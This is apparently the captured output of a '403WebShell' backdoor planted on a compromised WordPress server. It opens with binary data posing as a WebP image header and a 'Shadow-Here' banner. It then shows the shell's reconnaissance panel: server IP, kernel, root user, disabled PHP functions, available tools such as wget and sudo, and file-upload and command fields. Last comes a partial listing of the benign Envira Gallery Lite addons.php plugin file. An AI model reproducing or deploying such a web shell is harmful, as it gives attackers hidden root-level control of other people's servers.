RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /srv/wp/nallaram.agtdemo.in/www/wp-content/plugins/envira-gallery-lite/includes/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /srv/wp/nallaram.agtdemo.in/www/wp-content/plugins/envira-gallery-lite/includes/admin/addons.php
<?php
/**
 * Addons class.
 *
 * @since 1.5.0
 *
 * @package Envira_Gallery
 * @author  David Bisset
 */

// Exit if accessed directly.
if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Addons Helper
 *
 * @since 1.5.0
 */
class Envira_Gallery_Addons {

	/**
	 * Holds the class object.
	 *
	 * @since 1.5.0
	 *
	 * @var object
	 */
	public static $instance = null;

	/**
	 * Path to the file.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $file = __FILE__;

	/**
	 * Holds the base class object.
	 *
	 * @since 1.5.0
	 *
	 * @var object
	 */
	public $base;

	/**
	 * Holds the submenu pagehook.
	 *
	 * @since 1.5.0
	 *
	 * @var string
	 */
	public $hook;

	/**
	 * Holds License Key.
	 *
	 * @var string
	 */
	public $key;

	/**
	 * Primary class constructor.
	 *
	 * @since 1.5.0
	 */
	public function __construct() {

		// Load the base class object.
		$this->base = Envira_Gallery_Lite::get_instance();

		// Add custom addons submenu.
		add_action( 'admin_menu', [ $this, 'admin_menu' ], 12 );

		// Add callbacks for addons tabs.
		add_action( 'envira_gallery_addons_section', [ $this, 'addons_content' ] );

		// Add the addons menu item to the Plugins table.
		add_filter( 'plugin_action_links_' . plugin_basename( $this->base->file ), [ $this, 'addons_link' ] );
	}

	/**
	 * Register the Addons submenu item for Envira.
	 *
	 * @since 1.5.0
	 */
	public function admin_menu() {

		// Register the submenu.
		$this->hook = add_submenu_page(
			'edit.php?post_type=envira',
			__( 'Envira Gallery Addons', 'envira-gallery-lite' ),
			'<span style="color:#7cc048"> ' . __( 'Addons', 'envira-gallery-lite' ) . '</span>',
			apply_filters( 'envira_gallery_menu_cap', 'manage_options' ),
			$this->base->plugin_slug . '-addons',
			[ $this, 'addons_page' ]
		);

		// If successful, load admin assets only on that page and check for addons refresh.
		if ( $this->hook ) {
			add_action( 'load-' . $this->hook, [ $this, 'maybe_refresh_addons' ] );
			add_action( 'load-' . $this->hook, [ $this, 'addons_page_assets' ] );
		}
	}

	/**
	 * Maybe refreshes the addons page.
	 *
	 * @since 1.5.0
	 *
	 * @return void Return early if not refreshing the addons.
	 */
	public function maybe_refresh_addons() {

		if ( ! $this->is_refreshing_addons() ) {
			return;
		}

		if ( ! $this->refresh_addons_action() ) {
			return;
		}

		$this->get_addons_data( $this->base->get_license_key() );
	}

	/**
	 * Loads assets for the addons page.
	 *
	 * @since 1.5.0
	 */
	public function addons_page_assets() {

		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_admin_styles' ] );
		add_action( 'admin_enqueue_scripts', [ $this, 'enqueue_admin_scripts' ] );
	}

	/**
	 * Register and enqueue addons page specific CSS.
	 *
	 * @since 1.5.0
	 */
	public function enqueue_admin_styles() {

		wp_register_style( $this->base->plugin_slug . '-addons-style', plugins_url( 'assets/css/addons.css', $this->base->file ), [], $this->base->version );
		wp_enqueue_style( $this->base->plugin_slug . '-addons-style' );

		// Run a hook to load in custom styles.
		do_action( 'envira_gallery_addons_styles' );
	}

	/**
	 * Register and enqueue addons page specific JS.
	 *
	 * @since 1.5.0
	 */
	public function enqueue_admin_scripts() {

		// List.js.
		wp_register_script( $this->base->plugin_slug . '-list-script', plugins_url( 'assets/js/min/list-min.js', $this->base->file ), [ 'jquery' ], $this->base->version, true );
		wp_enqueue_script( $this->base->plugin_slug . '-list-script' );

		// Addons.
		wp_register_script( $this->base->plugin_slug . '-addons-script', plugins_url( 'assets/js/addons.js', $this->base->file ), [ 'jquery' ], $this->base->version, true );
		wp_enqueue_script( $this->base->plugin_slug . '-addons-script' );
		wp_localize_script(
			$this->base->plugin_slug . '-addons-script',
			'envira_gallery_addons',
			[
				'activate_nonce'   => wp_create_nonce( 'envira-gallery-activate' ),
				'active'           => __( 'Status: Active', 'envira-gallery-lite' ),
				'activate'         => __( 'Activate', 'envira-gallery-lite' ),
				'get_addons_nonce' => wp_create_nonce( 'envira-gallery-get-addons' ),
				'activating'       => __( 'Activating...', 'envira-gallery-lite' ),
				'ajax'             => admin_url( 'admin-ajax.php' ),
				'deactivate'       => __( 'Deactivate', 'envira-gallery-lite' ),
				'deactivate_nonce' => wp_create_nonce( 'envira-gallery-deactivate' ),
				'deactivating'     => __( 'Deactivating...', 'envira-gallery-lite' ),
				'inactive'         => __( 'Status: Inactive', 'envira-gallery-lite' ),
				'install'          => __( 'Install', 'envira-gallery-lite' ),
				'install_nonce'    => wp_create_nonce( 'envira-gallery-install' ),
				'installing'       => __( 'Installing...', 'envira-gallery-lite' ),
				'proceed'          => __( 'Proceed', 'envira-gallery-lite' ),
			]
		);

		// Run a hook to load in custom scripts.
		do_action( 'envira_gallery_addons_scripts' );
	}

	/**
	 * Callback to output the Envira addons page.
	 *
	 * @since 1.5.0
	 */
	public function addons_page() {

		do_action( 'envira_head' );
		?>

		<div id="addon-heading" class="subheading clearfix">
			<h1><?php esc_html_e( 'Envira Gallery Addons', 'envira-gallery-lite' ); ?></h1>
			<form id="add-on-search">
				<span class="spinner"></span>
				<input id="add-on-searchbox" name="envira-addon-search" value="" placeholder="<?php esc_attr_e( 'Search Envira Addons', 'envira-gallery-lite' ); ?>" />
				<select id="envira-filter-select">
					<option value="sort-order"><?php esc_html_e( 'Most Popular', 'envira-gallery-lite' ); ?></option>
					<option value="asc"><?php esc_html_e( 'Sort Ascending (A-Z)', 'envira-gallery-lite' ); ?></option>
					<option value="desc"><?php esc_html_e( 'Sort Descending (Z-A)', 'envira-gallery-lite' ); ?></option>
				</select>
			</form>
		</div>

		<div id="envira-gallery-addons" class="wrap">
			<div class="envira-gallery envira-clear">
				<?php do_action( 'envira_gallery_addons_section' ); ?>
			</div>
		</div>
		<?php
	}

	/**
	 * Callback for displaying the UI for Addons.
	 *
	 * @since 1.5.0
	 */
	public function addons_content() {

		// If error(s) occured during license key verification, display them and exit now.
		if ( false !== $this->base->get_license_key_errors() ) {
			?>
			<div class="error below-h2">
				<p>
					<?php esc_html_e( 'In order to get access to Addons, you need to resolve your license key errors.', 'envira-gallery-lite' ); ?>
				</p>
			</div>
			<?php
			return;
		}

		// Get Addons.
		$addons = $this->get_addons();

		// If no Addon(s) were returned, our API call returned an error.
		// Show an error message with a button to reload the page, which will trigger another API call.
		if ( ! $addons ) {
			?>
			<form id="envira-addons-refresh-addons-form" method="post">
				<p>
					<?php esc_html_e( 'There was an issue retrieving the addons for this site. Please click on the button below the refresh the addons data.', 'envira-gallery-lite' ); ?>
				</p>
				<p>
					<?php if ( ! empty( $_SERVER['REQUEST_URI'] ) ) { ?>
					<a href="<?php echo esc_url_raw( wp_unslash( $_SERVER['REQUEST_URI'] ) ); ?>" class="button envira-button-dark"><?php esc_html_e( 'Refresh Addons', 'envira-gallery-lite' ); ?></a>
					<?php } ?>
				</p>
			</form>
			<?php
			return;
		}

		// If here, we have Addons to display, so let's output them now.
		// Get installed plugins and upgrade URL.
		$installed_plugins = get_plugins();
		$upgrade_url       = Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link();
		?>
		<div id="envira-addons">
			<?php
			// Output Addons the User is licensed to use.
			if ( count( $addons['licensed'] ) > 0 ) {

				// sort by sort order (Popular) first by default.
				usort( $addons['licensed'], [ $this, 'sort_data_by_sort_order' ] );

				?>
				<div id="envira-addons-area-license" class="envira-addons-area licensed" class="envira-clear">
					<h3><?php esc_html_e( 'Available Addons', 'envira-gallery-lite' ); ?></h3>

					<div id="envira-addons-licensed" class="envira-addons">
						<!-- list container class required for list.js -->
						<div class="list">
							<?php
							foreach ( (array) $addons['licensed'] as $i => $addon ) {
								$this->get_addon_card( $addon, $i, true, $installed_plugins );
							}
							?>
						</div>
					</div>
				</div>
				<?php
			} // Close licensed addons

			// Output Addons the User isn't licensed to use.
			if ( count( $addons['unlicensed'] ) > 0 ) {

				// sort by sort order (Popular) first by default.
				usort( $addons['unlicensed'], [ $this, 'sort_data_by_sort_order' ] );

				?>
				<div id="envira-addons-area-unlicensed" class="envira-addons-area unlicensed" class="envira-clear">
					<h3><?php esc_html_e( 'Unlock More Addons', 'envira-gallery-lite' ); ?></h3>
					<?php /* translators: %s: url */ ?>
					<p><?php printf( wp_kses_post( __( '<strong>Want even more addons?</strong> <a href="%s">Upgrade your Envira Gallery account</a> and unlock the following addons.', 'envira-gallery-lite' ) ), esc_url( $upgrade_url ) ); ?></p>

					<div id="envira-addons-unlicensed" class="envira-addons">
						<?php
						foreach ( (array) $addons['unlicensed'] as $i => $addon ) {
							$this->get_addon_card( $addon, $i, false, $installed_plugins );
						}
						?>
					</div>
				</div>
				<?php
			} // Close unlicensed addons
			?>
		</div>
		<?php
	}

	/**
	 * Sorts by Sort order.
	 *
	 * @since 1.5.0
	 *
	 * @param   object $a    First element.
	 * @param   object $b    First element.
	 */
	public function sort_data_by_sort_order( $a, $b ) {
		return $b->sort_order - $a->sort_order;
	}

	/**
	 * Retrieves addons from the stored transient or remote server.
	 *
	 * @since 1.5.0
	 *
	 * @return bool | array    false | Array of licensed and unlicensed Addons.
	 */
	public function get_addons() {

		// Get license key and type.
		$key    = $this->base->get_license_key();
		$type   = $this->base->get_license_key_type();
		$addons = get_transient( '_eg_addons' );

		// Get addons data from transient or perform API query if no transient.
		if ( false === $addons ) {
			$addons = $this->get_addons_data( $key );
		}

		// If no Addons exist, return false.
		if ( ! $addons ) {
			return false;
		}

		// Iterate through Addons, to build two arrays:
		// - Addons the user is licensed to use,
		// - Addons the user isn't licensed to use.
		$results = [
			'licensed'   => [],
			'unlicensed' => [],
		];
		foreach ( (array) $addons as $i => $addon ) {

			if ( empty( $addon->sort_order ) ) {
				$addon->sort_order = 0; // assign a default sort order.
			}

			// Determine whether the user is licensed to use this Addon or not.
			if (
				empty( $type ) ||
				( in_array( 'advanced', $addon->categories, true ) && 'gold' !== $type && 'platinum' !== $type ) ||
				( in_array( 'basic', $addon->categories, true ) && ( 'silver' !== $type && 'gold' !== $type && 'platinum' !== $type ) )
			) {
				// Unlicensed.
				$results['unlicensed'][] = $addon;
				continue;
			}

			// Licensed.
			$results['licensed'][] = $addon;

		}

		// Return Addons, split by licensed and unlicensed.
		return $results;
	}

	/**
	 * Pings the remote server for addons data.
	 *
	 * @since 1.5.0
	 *
	 * @param   string $key    The user license key.
	 * @return  array               Array of addon data otherwise.
	 */
	public function get_addons_data( $key ) {

		$this->key = $key;

		// Get Addons
		// If the key is valid, we'll get personalised upgrade URLs for each Addon (if necessary) and plugin update information.
		$addons = $this->perform_remote_request( 'get-addons-data-v15', [ 'tgm-updater-key' => $key ] );

		// If there was an API error, set transient for only 10 minutes.
		if ( ! $addons ) {
			set_transient( '_eg_addons', false, 10 * MINUTE_IN_SECONDS );
			return false;
		}

		// If there was an error retrieving the addons, set the error.
		if ( isset( $addons->error ) ) {
			set_transient( '_eg_addons', false, 10 * MINUTE_IN_SECONDS );
			return false;
		}

		// Otherwise, our request worked. Save the data and return it.
		set_transient( '_eg_addons', $addons, DAY_IN_SECONDS );
		return $addons;
	}

	/**
	 * Flag to determine if addons are being refreshed.
	 *
	 * @since 1.5.0
	 *
	 * @return bool True if being refreshed, false otherwise.
	 */
	public function is_refreshing_addons() {

		return isset( $_POST['envira-gallery-refresh-addons'] ); // @codingStandardsIgnoreLine
	}

	/**
	 * Verifies nonces that allow addon refreshing.
	 *
	 * @since 1.5.0
	 *
	 * @return bool True if nonces check out, false otherwise.
	 */
	public function refresh_addons_action() {

		return isset( $_POST['envira-gallery-refresh-addons'] ) && wp_verify_nonce( sanitize_key( $_POST['envira-gallery-refresh-addons'] ), 'envira-gallery-refresh-addons' );
	}

	/**
	 * Retrieve the plugin basename from the plugin slug.
	 *
	 * @since 1.5.0
	 *
	 * @param string $slug The plugin slug.
	 * @return string      The plugin basename if found, else the plugin slug.
	 */
	public function get_plugin_basename_from_slug( $slug ) {

		$keys = array_keys( get_plugins() );

		foreach ( $keys as $key ) {
			if ( preg_match( '|^' . $slug . '|', $key ) ) {
				return $key;
			}
		}

		return $slug;
	}

	/**
	 * Add Addons page to plugin action links in the Plugins table.
	 *
	 * @since 1.5.0
	 *
	 * @param   array $links    Default plugin action links.
	 * @return  array   $links    Amended plugin action links.
	 */
	public function addons_link( $links ) {

		$addons_link = sprintf(
			'<a href="%s">%s</a>',
			esc_url(
				add_query_arg(
					[
						'post_type' => 'envira',
						'page'      => 'envira-gallery-lite-addons',
					],
					admin_url( 'edit.php' )
				)
			),
			__( 'Addons', 'envira-gallery-lite' )
		);
		array_unshift( $links, $addons_link );

		// If lite, show a link where they can get pro from.
		if ( ! class_exists( 'Envira_Gallery' ) ) {
			$get_pro = '<a title="' . esc_attr__( 'Get Envira Gallery Pro', 'envira-gallery-lite' ) . '" target="_blank" rel="noopener" href="' . Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( 'https://enviragallery.com/lite', 'pluginlisting', 'liteplugin' ) . '" style="font-weight:700; color: #1da867;">' . esc_html__( 'Get Envira Gallery Pro', 'envira-gallery-lite' ) . '</a>';
			array_unshift( $links, $get_pro );
		}

		return $links;
	}

	/**
	 * Outputs the addon "box" on the addons page.
	 *
	 * @since 1.5.0
	 *
	 * @param   object $addon              Addon data from the API / transient call.
	 * @param   int    $counter            Index of this Addon in the collection.
	 * @param   bool   $is_licensed        Whether the Addon is licensed for use.
	 * @param   array  $installed_plugins  Installed WordPress Plugins.
	 */
	public function get_addon_card( $addon, $counter = 0, $is_licensed = false, $installed_plugins = false ) {

		// Setup some vars.
		$plugin_basename = $this->get_plugin_basename_from_slug( $addon->slug );
		$categories      = implode( ',', $addon->categories );
		if ( ! $installed_plugins ) {
			$installed_plugins = get_plugins();
		}

		// If the Addon doesn't supply an upgrade_url key, it's because the user hasn't provided a license
		// get_upgrade_link() will return the Lite or Pro link as necessary for us.
		if ( ! isset( $addon->upgrade_url ) ) {
			$addon->upgrade_url = Envira_Gallery_Common_Admin::get_instance()->get_upgrade_link( false, 'addonspage', str_replace( '-', '', str_replace( 'envira-', '', $addon->slug ) ) . 'addonupgradenowbutton' );
		}

